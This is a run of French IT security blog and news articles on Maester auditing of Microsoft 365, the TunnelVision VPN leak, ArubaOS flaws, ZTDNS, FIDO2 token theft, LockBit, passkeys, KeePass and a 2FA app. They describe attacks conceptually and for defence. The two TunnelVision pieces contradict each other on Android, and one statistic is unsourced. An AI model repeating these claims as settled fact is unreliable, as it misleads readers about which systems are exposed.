Maester est un projet communautaire créé en avril 2024 par Merill Fernando, chef de produit chez Microsoft et deux MVP Security Fabian Bader et Thomas Naunheim. C’est un outil PowerShell conçu pour vous aider à comprendre la configuration de votre tenant Microsoft 365.
Il vous permet d’avoir une vision de votre configuration par rapport aux bonnes pratiques de sécurité, et ainsi, surveiller la posture de sécurité de votre tenant Microsoft 365. Cet outil fournit un rapport, mais ne réalise aucune action de correction.
À l’heure actuelle, l’outil contient 92 vérifications de sécurité, toutes concentrées sur la partie Microsoft Entra. Ces vérifications proviennent de plusieurs sources :
Maester utilise l'API Microsoft Graph pour accéder aux informations de votre tenant Microsoft 365. Cet outil vérifie la conformité de votre configuration par rapport aux bonnes pratiques de sécurité. L’originalité de cet outil réside dans l’utilisation de Pester pour vérifier cette conformité.
Pester est un module PowerShell conçu pour les tests unitaires. Bien qu’il soit souvent utilisé pour valider des scripts ou des fonctions, son mode de fonctionnement permet à chacun d’écrire ses propres tests unitaires.
Dans le cas de Maester, Pester est employé pour s'assurer que la configuration de votre tenant Microsoft 365 correspond aux critères définis dans des fichiers. Ces fichiers, appelés fichiers detests dans la suite de l’article, permettent de réaliser des vérifications sur la conformité de votre configuration. L’appellation tests provient du fait que Pester suit une nomenclature stricte concernant les fichiers qu’ils utilisent : xxxx.Tests.ps1.
Cela permet ainsi une vérification rigoureuse et continue de la sécurité d’un tenant.
Il est important de comprendre que Maester, utilisant Pester, ne fournit pas de valeurs directes de votre tenant, mais indique plutôt si vos configurations respectent les normes établies dans les fichiers Tests.
Par exemple, au lieu de spécifier le nombre d'administrateurs globaux, Maester vous informera si la configuration est conforme aux bonnes pratiques définies dans les tests. Cette méthode peut représenter une nouvelle approche pour certains qu’il est essentiel de comprendre.
B. Installation
Maester est publié dans la PowerShell Gallery, son installation peut être réalisée en seulement deux Cmdlets :
Sur votre PC, il faut ensuite créer un dossier et installer les fichiers de tests. Dans notre cas, nous installerons les fichiers Tests dans "C:\temp", mais tout autre chemin fonctionnera.
cd c:\temp
mkdir maester-tests
cd maester-tests
Install-MaesterTests .\tests
Les fichiers de tests sont installés dans C:\Temp\maester-tests\tests.
C. Utilisation
Dans un premier temps, il faut se connecter :
Connect-Maester
Comme indiqué plus haut, Maester s’appuie sur Microsoft Graph. Si vous n’avez pas les autorisations requises, il faudra autoriser les autorisations OAuth pour l’application Microsoft Graph Command Line Tools.
Ensuite, vous pouvez exécuter les tests :
Invoke-Maester
À la fin de l'exécution des tests par Maester, un bref résumé est affiché dans la console.
Ce résumé indique les résultats des tests avec le nombre de tests réussis, échoués ou ignorés, fournissant ainsi un aperçu rapide de l'état de la configuration de sécurité de votre tenant Microsoft 365.
Un fichier de rapport HTML est aussi créé, il est stocké dans le dossier "tests-results" et s’ouvre automatiquement dans votre navigateur :
Un élément en "Passed" indique que la configuration de votre tenant respecte le test en question.
Un élément en "Failed" indique que la configuration de votre tenant ne respecte le test. Cependant, selon les contraintes de votre entreprise, il convient de statuer si c’est un réel problème, ou bien un risque accepté.
Pour chaque élément du rapport, vous retrouverez :
L’identifiant
L’URL vers la documentation Maester concernant ce test
Le résultat du test
Les détails du test qui contiennent les actions à réaliser pour passer ce test
Les catégories
Les tags
La source du fichier de test Pester
Pour la majorité des tests, il est évident de comprendre pourquoi un test échoue, comme une fonctionnalité non activée ou un nombre excessif d'utilisateurs non conformes.
Cependant, il peut être plus complexe de déterminer la cause d'un échec dans certains cas, où le problème pourrait ne pas résider dans la non-conformité, mais plutôt dans un bug au sein du code PowerShell du test lui-même. Dans ces situations, il sera nécessaire d'examiner en détail les fichiers "*.Tests.ps1" pour identifier et résoudre l'erreur.
D. Création de ses propres tests
Le gros intérêt de Maester est que ce n’est qu’un framework, c’est-à-dire qu’il peut être étendu pour correspondre à vos besoins avec des tests personnalisé.
Pour créer un test personnalisé dans Maester, vous devez suivre une certaine structure. Par exemple, nous allons créer un test pour vérifier qu'un groupe contient exactement deux membres.
Pour cela, créez un fichier nommé "Test-CustomITConnect.Tests.ps1" dans le répertoire "<chemin>\maester-tests\Custom". Pester recherche les fichiers se terminant par ".Tests.ps1" pour les exécuter comme des tests.
Dans notre cas, nous créons un fichier" Test-CustomITConnect.Tests.ps1" dans "C:\temp\maester-tests".
Pour le contenu du fichier "Test-CustomITConnect.Tests.ps1", nous devons suivre la syntaxe Pester, ce qui donne :
Describe "Test-MyGroupMembership" -Tag "Group" {
It "Check 'MyGroup1' Members" {
$groupID = "cc831d2a-6e92-4988-903c-1799de3a9aa1"
$members = Get-MgGroupMember -GroupId $groupID
# Test if the group has exactly 2 members
$members.Count | Should -BeExactly 2
}
}
Il est alors possible d’exécuter Maester avec uniquement notre test :
cd c:\temp\maester-test
Invoke-Maester .\tests\Custom\
Le rapport contient uniquement notre test personnalisé.
À noter qu’il est aussi possible de simplement exécuter "Invoke-Maester", pour exécuter tous les tests, y compris les tests personnalisés.
E. Exécution régulière
Maester peut être configuré pour surveiller en permanence la configuration de votre tenant à l'aide de service DevOps comme Azure DevOps Pipeline, GitHub Actions et Azure Automation.
Avec ces solutions, il est possible de recevoir un e-mail régulier avec les informations concernant la sécurité du tenant.
Source : maester.dev
La configuration de cette automatisation n’est pas détaillée dans cet article, mais vous pouvez retrouver toutes les informations dans la documentation de Maester.
III. Mise à jour des tests Maester
L'équipe Maester ajoute de nouveaux tests au fil du temps, il faut donc penser à mettre à jour le module et les tests de temps en temps.
Tous les tests personnalisés dans le dossier "/Custom" seront conservés.
Les fichiers de test des autres dossiers, notamment "/EIDSCA", "/Maester" et "/CISA", seront remplacés par les tests les plus récents :
IV. Contribuer à l’amélioration du produit
Maester est une solution récente et se focalise pour le moment uniquement sur les tests Microsoft Entra ID. Cependant, compte tenu de son fonctionnement et de sa flexibilité, il est tout à faire possible de créer ses propres tests et de participer à ce projet communautaire.
Pour approfondir le sujet de l'audit Microsoft 365, vous pouvez consulter cet article :
TunnelVision, c'est le nom de la nouvelle vulnérabilité et technique d'attaque mise au point par des chercheurs en sécurité et qui permet de détourner le trafic des tunnels VPN ! Voici ce qu'il faut savoir !
Lorsqu'un appareil se connecte à un réseau distant via un tunnel VPN, le trafic réseau de la machine passe par ce tunnel chiffré et sécurité. En fonction de la configuration du VPN, tout le trafic pourra passer par le tunnel VPN (full VPN) ou uniquement certains flux (split VPN).
Par ailleurs, le VPN peut être utilisé pour naviguer sur Internet tout en masquant son adresse IP publique : c'est l'une des "fonctions" des VPN grands publics. C'est ce cas d'usage qui est directement affecté par la technique évoquée dans cet article.
Les chercheurs en sécurité de chez Leviathan Security ont mis en ligne un nouveau rapport au sujet d'une technique d'attaque baptisée TunnelVision. D'après eux, cette technique est exploitable depuis 2002 et elle fonctionnerait avec l'ensemble des solutions VPN.
TunnelVision et l'option DHCP 121
Pour exploiter cette vulnérabilité associée à la référence CVE-2024-3661, un attaquant doit mettre en place une configuration bien particulière sur un serveur DHCP. En effet, il doit configurer l'option DHCP n°121 nommée "Classless static route" et dont l'objectif est de distribuer une ou plusieurs routes statiques supplémentaires au client DHCP, en plus de l'adresse IP, de la passerelle, etc.
Ainsi, l'attaquant peut créer ces routes avec une priorité plus élevée que celles définies par la connexion VPN, et ainsi, détourner le trafic VPN vers la passerelle de son choix. À ce sujet, les chercheurs précisent : "TunnelVision est une technique de fuite de VPN sur le réseau local qui permet à un attaquant de lire, d'interrompre et parfois de modifier le trafic VPN à partir d'une cible sur le réseau local." - L'attaquant doit se situer sur le même réseau local que sa victime, et il doit pouvoir modifier la configuration du serveur DHCP (ou utiliser un serveur Rogue DHCP).
Le fait de détourner le trafic ne semble pas empêcher le tunnel VPN d'être actif et cela n'a pas non plus alerté la fonctionnalité de protection "kill switch" intégrée à certains VPN : "Lors de nos tests, le VPN a toujours continué à signaler qu'il était connecté, et le kill switch n'a jamais été enclenché pour interrompre notre connexion VPN.", peut-on lire.
Quels sont les systèmes impactés ? Comment se protéger ?
Windows, Linux, iOS et MacOS sont des systèmes vulnérables à cette attaque. Android, quant à lui, n'est pas concerné. Pourquoi ? Et bien parce que l'option 121 du DHCP n'est pas prise en charge !
"Nous avons observé une mesure d'atténuation de la part de certains fournisseurs de VPN qui éliminent le trafic vers les interfaces non VPN par le biais de règles de pare-feu.", peut-on lire dans le rapport. La création de règles de pare-feu sur l'appareil local est donc une façon de se protéger de cette attaque. De plus, il peut s'avérer utile d'activer certaines protections comme le DHCP Snooping.
Enfin, sachez que TunnelVision ne dépend pas du protocole VPN utilisé, donc il n'y a pas un protocole à prioriser plus qu'un autre (OpenVPN, IPsec, WireGuard, etc.). Pour approfondir le sujet, vous pouvez consulter cette page sur GitHub.
C’est certainement le mot clé – ou plutôt l’acronyme tendance – de l’année : IA. Deux lettres au cœur des débats, des enjeux et de bien des questions dans de nombreux secteurs. Penchons-nous donc sur les sujets concrets actuels – et sans doute futurs – au cœur des préoccupations des directions informatiques et des acteurs de […]
Proton Pass marche dans les pas de ses rivaux en ajoutant une option qui permet de connaitre l'état de ses mots de passe. Ils sont trop faibles ? Trop réutilisés ? Exposés sur Internet ? Privés de double authentification ? Vous connaitrez ainsi vos marges de progression pour faire mieux.
Vous utilisez des équipements réseau de chez HPE Aruba Networking ? Alors, vous devriez lire cet article avec attention : plusieurs failles de sécurité critiques ont été corrigées dans le système ArubaOS. Voici ce qu'il faut savoir.
Très populaires en entreprise, les équipements HPE Aruba Networking sont affectés par plusieurs failles de sécurité. L'éditeur a corrigé 10 vulnérabilités dans le système ArubaOS, dont 4 failles de sécurité critiques qui méritent une attention particulière. En exploitant ces vulnérabilités, un attaquant pourrait exécuter du code à distance en tant qu'utilisateur privilégié sur l'équipement vulnérable.
Voici la liste des vulnérabilités critiques, toutes associées à un score CVSS de 9.8 sur 10.
CVE-2024-26305
CVE-2024-26304
CVE-2024-33511
CVE-2024-33512
Il s'agit de faiblesses de type "Buffer overflow" exploitables par l'intermédiaire du protocole PAPI. Ceci implique que l'attaquant puisse communiquer avec l'attaquant sur le port 8211 en UDP afin d'envoyer une requête spéciale sur l'interface PAPI (Performance Application Programming Interface).
Aruba : quels sont les produits et versions affectés ?
Aruba Central pour gérer les passerelles WLAN et les passerelles SD-WAN
Les versions suivantes d'ArubaOS sont vulnérables :
ArubaOS 10.5.x.x : 10.5.1.0 et antérieure
ArubaOS 10.4.x.x : 10.4.1.0 et antérieure
ArubaOS 8.11.x.x : 8.11.2.1 et antérieure
ArubaOS 8.10.x.x : 8.10.0.10 et antérieure
Il est également précisé que certaines versions vulnérables ne sont plus prises en charge et qu'elles ne recevront pas de mises à jour de sécurité. Voici la liste des versions en question :
ArubaOS 10.3.x.x
ArubaOS 8.9.x.x
ArubaOS 8.8.x.x
ArubaOS 8.7.x.x
ArubaOS 8.6.x.x
ArubaOS 6.5.4.x
SD-WAN 8.7.0.0-2.3.0.x
SD-WAN 8.6.0.4-2.2.x.x
Comment se protéger ?
Pour se protéger de ces vulnérabilités, le système ArubaOS doit être mis à jour vers une version qui contient les correctifs de sécurité. Voici les versions à installer pour vous protéger :
ArubaOS 10.6.x.x : 10.6.0.0 et supérieur
ArubaOS 10.5.x.x : 10.5.1.1 et supérieur
ArubaOS 10.4.x.x : 10.4.1.1 et supérieur
ArubaOS 8.11.x.x : 8.11.2.2 et supérieur
ArubaOS 8.10.x.x : 8.10.0.11 et supérieur
Sur ArubaOS 8.X, il existe une solution alternative autre que le patch de sécurité. Elle consiste à configurer la fonction de sécurité "Enhanced PAPI" pour ne pas utiliser la clé par défaut.
Pour le moment, rien n'indique que ces vulnérabilités soient exploitées dans le cadre de cyberattaques.
Proton Pass marche dans les pas de ses rivaux en ajoutant une option qui permet de connaitre l'état de ses mots de passe. Ils sont trop faibles ? Trop réutilisés ? Exposés sur Internet ? Privés de double authentification ? Vous connaitrez ainsi vos marges de progression pour faire mieux.
Tiens, Microsoft nous prépare un nouveau bébé baptisé Zero Trust DNS, ou ZTDNS pour les intimes. Alors c’est quoi encore ce truc ? Eh bien c’est tout simplement un système permettant de sécuriser le DNS sur nos chers Windows.
Pour ceux qui auraient loupé un épisode, le DNS c’est un peu comme l’annuaire téléphonique d’Internet. Il permet de traduire les noms de domaine tout mignons comme korben.info en adresses IP bien moins sexy. Le problème, c’est que jusqu’à présent, le DNS c’était un peu le maillon faible de la sécurité. Les communications n’étaient pas chiffrées, ce qui ouvrait la porte à plein de menaces comme l’espionnage, le détournement de trafic ou même les attaques de type « DNS spoofing« . D’ailleurs, selon une étude de Cisco, plus de 70% des attaques de phishing utilisent des techniques de DNS spoofing pour tromper leurs victimes.
Mais ça, c’était avant ! Avec ZTDNS, Microsoft promet de changer la donne. Déjà, toutes les communications entre les clients Windows et les serveurs DNS seront chiffrées et authentifiées grâce aux protocoles DNS over HTTPS (DoH) ou DNS over TLS (DoT), ce qui devrait rendre la vie plus difficile aux vilains cyber criminels qui voudraient mettre leur nez dans nos petites affaires.
Ensuite, et c’est là que ça devient vraiment intéressant, ZTDNS va permettre aux admins réseau de contrôler finement quels domaines peuvent être résolus par les serveurs DNS. En gros, si un domaine n’est pas sur la liste blanche, et bien le client Windows ne pourra tout simplement pas s’y connecter !
Mais attention, mettre en place un truc pareil, ça ne va pas être une partie de plaisir. Il va falloir bien planifier son coup pour éviter de tout casser, du genre bloquer sans faire exprès l’accès à des services importants ! Mais bon, c’est le prix à payer pour renforcer la sécurité et se rapprocher doucement d’un modèle « Zero Trust » où on ne fait confiance à personne par défaut.
Alors concrètement, comment ça va marcher ?
Eh bien déjà, il faudra que les serveurs DNS supportent les protocoles de chiffrement comme DoH ou DoT. Ça tombe bien, ZTDNS est conçu pour être compatible avec tout ça. Pas besoin de réinventer la roue.
Ensuite, lorsqu’un client Windows aura besoin de résoudre un nom de domaine, il va discuter avec un des fameux serveurs DNS « protecteurs » et si le domaine est autorisé, le serveur lui filera l’adresse IP correspondante. Et hop, le pare-feu Windows sera dynamiquement mis à jour pour autoriser la connexion vers cette IP. Par contre, pour le reste, c’est niet ! Le trafic sera bloqué direct !
Bon après, faut quand même avouer qu’il y aura des trucs qui vont morfler à cause de ZTDNS. Tous les protocoles réseaux un peu exotiques qui n’utilisent pas le DNS, comme le multicast DNS (mDNS) par exemple, ça va être coupé. Pareil pour les partages de fichiers sur le réseau local ou les imprimantes qui utilisent des protocoles de découverte archaïques. Ça risque donc de râler dans les chaumières !
Mais heureusement, les ingénieurs de Microsoft ne sont pas nés de la dernière pluie et ont prévu pas mal de mécanismes pour « mitiger » ces problèmes. Par exemple, on va pouvoir définir des exceptions pour autoriser certaines plages d’adresses IP sans passer par le DNS. Ou encore favoriser des solutions plus modernes et sécurisées, comme l’impression via Universal Print qui passe, lui, gentiment par le DNS.
Un autre truc à prendre en compte, c’est que certaines applications un peu spéciales risquent de ne plus fonctionner du tout avec ZTDNS. Celles qui utilisent des adresses IP codées en dur ou des mécanismes de résolution maison, c’est mort. Mais bon, ce sera l’occasion de faire le ménage et de moderniser tout ça.
Microsoft a d’ailleurs prévu un mode « Audit » qui permet dans un premier temps de voir ce qui serait bloqué par ZTDNS, sans pour autant péter la prod. Comme ça, on peut analyser tranquillement les flux réseau et identifier les applications ou les flux problématiques. C’est un bon moyen d’anticiper les éventuels soucis avant de passer en mode bloquant !
Bon après, faut pas non plus se voiler la face. Même avec ZTDNS, il restera toujours des failles de sécurité potentielles. Les connexions VPN ou SASE/SSE par exemple, qui encapsulent le trafic dans un tunnel chiffré, pourront toujours passer entre les mailles du filet si on n’y prend pas garde. Sans parler des technologies de virtualisation qui court-circuitent carrément la pile réseau de Windows !
Mais bon, rien n’est parfait et il faut bien commencer quelque part… ZTDNS représente déjà une sacrée avancée pour renforcer la sécurité réseau des parcs Windows et avec un peu de rigueur et de persévérance, les admins sys pourront en tirer le meilleur parti.
Pour l’instant, ZTDNS est en preview privée chez Microsoft. On ne sait pas encore exactement quand il débarquera dans nos Home Sweet Home. En attendant, je vous invite à aller jeter un œil à l’article sur le blog Techcommunity qui rentre dans les détails techniques de la bête. C’est dense mais ça vaut le coup de s’y plonger si vous voulez être informé.
Voici une info qui va vous faire voir les VPN sous un autre angle. Bah oui, parce que si vous pensiez que votre petit tunnel chiffré préféré vous mettait à l’abri des regards indiscrets quand vous surfez depuis un réseau public, désolé de casser vos rêves, mais c’est loin d’être le cas !
Une équipe de chercheurs de Leviathan Security a découvert une faille qu’ils ont baptisée TunnelVision qui permet de court-circuiter la protection des VPN à l’aiiise, grâce à une fonctionnalité bien pratique du protocole DHCP, ce bon vieux serviteur qui distribue des adresses IP à tout va.
En gros, quand vous vous connectez à un réseau, votre machine demande gentiment une adresse IP au serveur DHCP local. Jusque là, tout va bien. Sauf que ce protocole a plus d’un tour dans son sac. Il peut notamment pousser des règles de routage sur votre bécane, via une option peu connue appelée « Classless Static Route » ou option 121.
Concrètement, un attaquant qui contrôle le serveur DHCP peut installer des routes par défaut sur votre machine, ce qui lui permet de rediriger tout votre trafic vers sa propre passerelle, même si vous êtes connecté via un VPN ! Et là, c’est le drame, car il peut intercepter toutes vos données en clair. 😱
Bon, rassurez-vous, il y a quand même quelques conditions pour que cette attaque fonctionne :
1. L’attaquant doit avoir un accès physique au réseau local ou être en mesure de compromettre un équipement sur ce réseau.
2. Le client VPN ne doit pas bloquer les sorties de trafic vers les interfaces réseau locales.
Mais quand même, ça fait froid dans le dos, d’autant que cette faille touche potentiellement tous les réseaux, des petits réseaux domestiques aux gros réseaux d’entreprise. Les chercheurs ont d’ailleurs réussi à l’exploiter sur Windows, macOS, iOS, Android, et même sur des distributions Linux.
Heureusement, il existe des parades pour se prémunir contre TunnelVision :
Activer les fonctions de DHCP snooping et d’ARP protection sur les commutateurs réseau pour empêcher l’installation de serveurs DHCP non autorisés.
Configurer des règles de pare-feu strictes pour bloquer le trafic non autorisé.
Utiliser des protocoles de chiffrement comme HTTPS pour sécuriser les ressources internes.
Implémenter une isolation réseau robuste via des fonctionnalités comme les espaces de noms réseau (network namespaces) sous Linux.
Les fournisseurs de VPN ont évidemment aussi un rôle à jouer en documentant publiquement les mesures d’atténuation contre TunnelVision et en avertissant leurs utilisateurs des risques.
Bref, en attendant un éventuel correctif, la prudence reste de mise. Mais en appliquant les bonnes pratiques et en restant vigilants, on peut quand même limiter les dégâts ! Si le sujet vous intéresse et que vous voulez aller plus loin, je vous invite à consulter le papier de recherche complet qui détaille le fonctionnement technique de TunnelVision. C’est un peu ardu, mais ça vaut le coup d’œil pour les plus motivés d’entre vous.
Vous pensez que les méthodes d’authentification modernes comme FIDO2 vous protègent efficacement contre le vol de cookies et les attaques de l’homme du milieu (MITM) ? Détrompez-vous ! Une équipe de chercheurs vient de démontrer qu’il est possible de contourner ces protections en s’emparant des précieux sésames que sont les jetons de session.
Vous vous connectez tranquillement à votre appli préférée, en scannant votre empreinte digitale ou en insérant votre clé de sécurité dernier cri, vous vous sentez en sécurité, comme un petit bébé dans les bras de sa maman ou de son papa, protégé par la magie de FIDO2 (et de son absence de mots de passe).
Sauf que dans l’ombre, un vilain pirate que nous appellerons Vladimitch, a réussi à s’immiscer entre vous et le serveur, tel un cyber-ninja. Et là, c’est le drame : il intercepte le fameux jeton de session qui vous permet de rester connecté sans avoir à retaper vos identifiants à chaque clic. Ni vu ni connu, il peut alors se faire passer pour vous et accéder à votre compte !
Mais comment est-ce possible avec une authentification si robuste ? Eh bien figurez-vous que le problème ne vient pas de FIDO2 en lui-même, mais plutôt de la façon dont les applications gèrent les sessions après la phase d’authentification. Une fois que vous êtes connecté, c’est open bar, et votre jeton se balade joyeusement sur le réseau, sans trop de protection.
Les chercheurs ont mis en lumière cette faille en testant plusieurs implémentations de FIDO2, comme le bac à sable Yubico Playground, le système d’authentification unique (SSO) Entra ID de Microsoft ou encore l’adaptateur PingFederate. Et dans chaque cas, ils ont pu démontrer qu’un attaquant pouvait intercepter et réutiliser un jeton de session valide sans posséder la clé d’authentification FIDO2 associée.
Mais rassurez-vous, tout n’est pas perdu. Il existe une parade pour éviter de se faire dérober son précieux jeton : la « liaison de jeton » (ou token binding pour les anglophones). Concrètement, ça consiste à créer un lien indéfectible entre votre jeton de session et la connexion sécurisée (TLS) que vous utilisez. Comme ça, il devient impossible pour l’attaquant d’utiliser votre jeton sur une autre connexion. Malin !
Le hic, c’est que cette protection est encore peu répandue. Et à part Microsoft qui l’a intégrée sur Edge, les autres navigateurs et applications web traînent des pieds. Google a même fini par jeter l’éponge sur Chrome, faute d’adoption. Pourtant, cela pourrait éviter bien des déboires aux utilisateurs et des migraines aux administrateurs système mais que voulez-vous, entre la sécurité et la facilité, le cœur des développeurs balance !
Bref, restez vigilant car même une sécurisation FIDO2 n’est pas infaillible face à une attaque MITM bien pensée. Microsoft a réagi de son côté en introduisant une fonctionnalité de protection des jetons basée sur les modules de plateforme sécurisée (TPM) dans Windows, une variante de la « liaison de jeton ». Mais pour une adoption massive, il faudra que tous les acteurs jouent le jeu.
En attendant, les experts recommandent aux développeurs d’applications d’exiger la « liaison de jeton » sur les authentifications FIDO2 lorsque c’est possible, de limiter l’usage des jetons OIDC et SAML à une seule fois par authentification réussie, et surtout de bien comprendre les menaces pour concevoir des mécanismes d’authentification adaptés.
Et vous, en tant qu’utilisateur, c’est toujours la même chanson, à savoir, évitez de vous connecter à des hotspots Wi-Fi publics douteux, ne cliquez pas sur les liens louches, et méfiez-vous des plugins de navigateur exotiques.
Bref, un peu de jugeotte, comme toujours… Sur ce, bon développement à tous et may the force (4th) be with you ! (On l’a passé, c’était le 4 mai…)
Il y a un véritable match entre les autorités et les cybercriminels de LockBit ! Alors le groupe de ransomware a relancé ses activités malveillantes ces dernières semaines, leur site a été remis en ligne avec un message intrigant par les membres de l'opération Cronos ! Faisons le point.
Publication des données de l'Hôpital Simone Veil de Cannes
Ce leak contient 61 Go de données, dont des informations sensibles et personnelles, des cartes d'identité, des RIB et des bulletins de salaire. La direction de l'Hôpital Simone Veil a confirmé qu'il s'agissait bien des données du centre.
La suite de l'opération Cronos
Mais, ces dernières heures, il y a eu un nouveau rebondissement dans l’affaire Lockbit : la suite de l'opération Cronos. Souvenez-vous, en février dernier, une opération internationale, surnommée Opération Cronos, a été menée par les forces de l'ordre et organismes de 11 pays. D'ailleurs, la France a participé par l'intermédiaire de la Gendarmerie Nationale, tandis qu'il y a également eu une participation du FBI, l'Allemagne, le Japon, la Suède, le Canada, ou encore la Suisse.
Les autorités étaient parvenues à mettre à l'arrêt un total de 34 serveurs de LockBit et récupérer des données cruciales. Ceci avait permis la création d'un outil de déchiffrement pour permettre aux victimes de récupérer leurs données sans payer la rançon.
Le site vitrine de LockBit avait été remplacé par une page mise en ligne par les forces de l'ordre suite à cette opération. Depuis quelques heures, cette page est de retour, ce qui pourrait correspondre à la suite de l'opération Cronos.
Source : cybernews.com
Les autorités ont repris le principe du compte à rebours utilisé par les pirates pour indiquer que le 7 mai 2024 à 14:00 UTC, ils dévoileront l'identité du chef LockBitSupps et des autres membres de LockBit. Autrement dit, nous aurions enfin la réponse à cette question à 10 millions de dollars : qui se cache derrière le pseudo LockBitSupps ?
Pour le moment, tout cela est à prendre avec précautions puisque les forces de l'ordre n'ont pas communiqué sur le sujet. Les prochaines heures nous permettront surement d'en savoir plus... Peut-être d'ailleurs par l'intermédiaire du compte VX-underground sur X. D'après ce compte, un membre de LockBit a indiqué que tout cela était des mensonges... Les autorités ont-elles de nouvelles informations ou cherchent-elles à déstabiliser le groupe LockBit en lui mettant la pression ? À suivre...
Les passkeys, ou clés d'accès, sont désormais prises en charge par Microsoft pour s'authentifier à son compte personnel Microsoft. De plus, la prise en charge des passkeys a été introduite au service de gestion des identités Entra ID. Faisons le point.
Au fil des mois, de plus en plus d'éditeurs et services ajoutent la prise en charge des passkeys pour l'authentification à son compte. Nous pouvons citer Google, Amazon, Apple, Proton, ou encore WhatsApp. Microsoft était déjà sur le coup, et à l'occasion de la Journée mondiale des mots de passe, l'entreprise américaine a annoncé avoir étendu la prise en charge des passkeys.
De quoi mettre de côté le traditionnel mot de passe associé à l'authentification multifacteur. Cette méthode d'authentification dite "passwordless" s'appuie sur des clés générées en local sur l'appareil. Ensuite, l'authentification s'effectue à l'aide d'un code PIN, d'une clé matérielle, du capteur d'empreinte biométrique ou de la reconnaissance faciale.
Une fois configurée sur votre compte Microsoft, cette méthode d'authentification pourra être utilisée pour vous connecter aux différents services de Microsoft, dont Outlook, OneDrive, Xbox Live, ou encore Copilot. Précédemment, la firme de Redmond avait ajouté la prise en charge des passkeys à son système d'exploitation Windows 11, afin que cela puisse être utilisé sur les sites web et services qui le prennent en charge.
Comment configurer une passkey sur son compte Microsoft ?
Une fois que c'est en place, vous pouvez vous authentifier grâce à cette nouvelle d'authentification comme le montre les images ci-dessous :
Source : Microsoft
En principe, une clé d'accès devrait être créée sur un appareil et ne pas être partagée d'un appareil à un autre, mais Microsoft propose la synchronisation des passkeys pour le côté pratique : "Les passkeys peuvent également être synchronisés entre vos appareils. Ainsi, si vous perdez ou mettez à jour votre appareil, vos passkeys seront prêts et vous attendront lorsque vous configurerez votre nouvel appareil.", précise Microsoft.
Par ailleurs, la documentation de Microsoft précise que les systèmes suivants sont pris en charge :
Windows 10 et versions ultérieures.
macOS Ventura et versions ultérieures.
ChromeOS 109 et versions ultérieures.
iOS 16 et versions ultérieures.
Android 9 et versions ultérieures.
Il est également précisé que les clés de sécurité matérielles qui prennent en charge le protocole FIDO2 sont supportées.
La prise en charge des passkeys dans Microsoft Entra ID
Pour les utilisateurs professionnels, Microsoft a ajouté la prise en charge des passkeys à son service Entra ID (Azure AD) en s'appuyant sur son application Microsoft Authenticator, disponible sur Android et iOS. Là encore, Microsoft propose d'utiliser des passkeys synchronisées ou liées à l'appareil.
Qui n'a jamais dupliqué des entrées KeePass ? Soit parce que l'auto-type diffère selon les applications qui utilisent un même identifiant/mot de passe, soit parce les URLs d'appel sont différentes.
Si comme moi vous utilisez le même compte sur plusieurs mires de connexion c'est un casse tête. C'est le cas avec les nombreuses URL de connexion d'Office 365, ou de façon générale dès que vous avez un Active Directory. Un seul compte pour plusieurs applications.
Avec une entrée pour chaque connexion il faut toutes les mettre à jour quand le mot de passe change. C'est fastidieux et chronophage.
Voyons comment régler ça pour tout soit dynamique : une fois le mot de passe changé dans l'entrée maître il se propage à toutes les entrées enfant de KeePass.
Le problème
Imaginons que j'utilise mon identifiant "[email protected]" avec 3 domaines/applications différents :
adminbackoffice.bm.fr
dashboard.blogm.net
sso.bm-vpn.com
On pourrait utiliser l'extension Kee pour mémoriser l'identifiant/mdp et renseigner tous les domaines... sauf qu'en pratique ça ne marche pas très bien. Les mires de connexions peuvent être exotiques et Kee aura du mal à pré-remplir les champs. Et puis on perd l'intérêt du CTRL+U qui n'ouvrira que le domaine principal de l'entrée.
En réalité cette solution est parfaite quand la même application web utilise plusieurs domaines avec un même identifiant, pas quand il s'agit d'applications différentes. Aussi quand la séquence d'auto-type est différente car on est obligé de créer une 2ème entrée.
La solution : les références
KeePass est un logiciel bourré d'options et de fonctionnalités, et répond nativement à cette problématique avec les références.
Le principe est simple : chaque champ d'une entrée contient un identifiant unique, qu'il est possible d'appeler depuis une autre entrée.
Tout d'abord il faudra créer une entrée mère avec au minimum ces 3 champs :
un mot de passe : {REF:P@I:B86EE0435A5A8E4B07D82BEA3864732A}
Il est possible de faire plein de choses dynamiques, recherche l'entrée mère par son nom, avoir un identifiant fixe et un mot de passe en provenance d'une entrée mère...
A partir du jour ou j'ai découvert les références tout s'est simplifié dans ma base KeePass. Terminé l'entrée dupliquée pour l'applicatif de déclaration RH qui utilise vos identifiants AD L'entrée existe toujours mais l'appel du mot de passe est dynamique. Quel plaisir de remplacer ces doublons par des références !
A noter que cela fonctionne aussi pour les identifiants qui sont parfois en domaine AD court (ex : MABOITE) et d'autres en domaine AD FQDN (ex : MABOITE.LOCAL). J'utilise aussi cette astuce pour avoir un autotype de mes identifiants AD qui fonctionnent avec Windows et Linux. J'ai créé une entrée dédiée pour chaque OS avec une référence vers mon entrée principale contenant mon couple d'identifiants/mdp AD. La séquence de touche est personnalisée pour chaque OS car il faut une tabulation pour passer de l'identifiant au mot de passe avec Windows, et ENTREE avec Linux en SSH.
Ainsi quand je change mon mot de passe AD toutes les entrées pointant vers cette référence sont automatiquement à jour. Pour ceux qui se posent la question, ce n'est pas plus lent, c'est totalement transparent à l'utilisation.
Si vous ne l’avez pas encore fait, je vous recommande vivement d’activer la double authentification sur tous vos comptes en ligne. C’est hyper important !
Alors évidemment, pour cela vous aurez besoin d’une application 2FA et j’en ai déjà recommandé beaucoup comme Authy, 2FAS, Google Authenticator, celle de Lastpass et j’en passe. Et aujourd’hui, je vous en fait découvrir une nouvelle qui s’appelle très sérieusement Authenticator Pro (mais ça n’a rien à voir avec l’app de Google).
Authenticator Pro est donc une appli de 2FA qui fonctionne sous Android et supporte les algorithmes de hachage SHA1, SHA256 et SHA512, ainsi que les protocoles TOTP (basé sur le temps) et HOTP (basé sur un compteur). Elle gère également les codes Mobile-Otp, Steam et Yandex.
En plus d’être compatible avec la plupart des services et providers, Authenticator Pro vous permet également de sauvegarder vos données de manière sécurisée grâce à un bon chiffrement et les restaurer facilement en cas de changement de téléphone. Comme ça, pas de panique si votre cher smartphone vous laisse tomber.
Y’a un mode sombre pour ceux qui sont de la night et vous pourrez même organiser tous vos codes dans des catégories comme un bon maniaque du rangement. Vous l’aurez compris, Authenticator Pro fonctionne offline et surtout respecte votre vie privée. Niveau permissions, comme je sais que ça vous tient à cœur, sachez le, elle est plutôt du genre discrète : une seule autorisation requise pour fonctionner, c’est tout ! Cela concerne l’accès à la caméra pour flasher les QR codes des comptes à ajouter.
Et pour les plus geeks d’entre vous, l’app est compatible avec Wear OS. Comme ça vous pourrez valider vos connexions directement depuis votre poignet, tel un agent secret.
